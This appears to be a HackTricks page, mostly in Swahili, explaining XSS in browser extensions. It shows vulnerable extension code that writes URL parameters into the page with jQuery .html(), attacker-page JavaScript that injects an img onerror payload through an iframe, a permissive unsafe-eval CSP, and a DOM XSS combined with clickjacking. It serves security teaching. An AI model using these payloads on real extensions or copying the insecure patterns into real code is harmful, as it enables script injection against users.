BrowExt - XSS Example

Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Cross-Site Scripting (XSS) kupitia Iframe

Katika mpangilio huu, script ya maudhui inatekelezwa ili kuanzisha Iframe, ikijumuisha URL yenye vigezo vya uchunguzi kama chanzo cha Iframe:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

Kipande cha HTML kinachoweza kufikiwa hadharani, message.html, kimeundwa kuongeza maudhui kwa njia ya kidinari kwenye mwili wa hati kulingana na vigezo vilivyomo kwenye URL:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

A malicious script is executed on an adversary's page, modifying the content parameter of the Iframe's source to introduce a XSS payload. This is achieved by updating the Iframe's source to include a harmful script:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

Sera ya Usalama wa Maudhui inayoruhusu kupita kiasi kama:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

inaruhusu utekelezaji wa JavaScript, na kufanya mfumo kuwa hatarini kwa mashambulizi ya XSS.

Njia mbadala ya kuchochea XSS inahusisha kuunda kipengele cha Iframe na kuweka chanzo chake kujumuisha skripti hatari kama parameta ya content:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-based XSS + ClickJacking

Mfano huu umetolewa kutoka kwenye post ya asili.

Tatizo kuu linatokana na udhaifu wa Cross-site Scripting (XSS) unaotokana na DOM ulio katika /html/bookmarks.html. JavaScript yenye matatizo, sehemu ya bookmarks.js, imeelezwa hapa chini:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Hii snippet inapata thamani kutoka kwa txtName input field na inatumia mchanganyiko wa nyuzi kuunda HTML, ambayo kisha inaongezwa kwenye DOM kwa kutumia jQuery’s .append() function.

Kwa kawaida, Sera ya Usalama wa Maudhui (CSP) ya nyongeza ya Chrome ingepunguza udhaifu kama huu. Hata hivyo, kutokana na kuondolewa kwa CSP na ‘unsafe-eval’ na matumizi ya mbinu za usimamizi wa DOM za jQuery (zinazotumia globalEval() kupitisha scripts kwa eval() wakati wa kuingiza DOM), unyakuzi bado unawezekana.

Ingawa udhaifu huu ni muhimu, unyakuzi wake kwa kawaida unategemea mwingiliano wa mtumiaji: kutembelea ukurasa, kuingiza mzigo wa XSS, na kuamsha kitufe cha “Ongeza”.

Ili kuboresha udhaifu huu, udhaifu wa pili wa clickjacking unatumika. Manifest ya nyongeza ya Chrome inaonyesha sera kubwa ya web_accessible_resources:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Kimsingi, ukurasa wa /html/bookmarks.html unakabiliwa na framing, hivyo ni hatarini kwa clickjacking. Uthibitisho huu unatumika kuingiza ukurasa ndani ya tovuti ya mshambuliaji, ukiuweka juu yake na vipengele vya DOM ili kubadilisha muonekano kwa njia ya udanganyifu. Manipulatio hii inawafanya waathirika kuingiliana na nyongeza iliyoko chini bila kukusudia.

Marejeo

• https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/

• https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.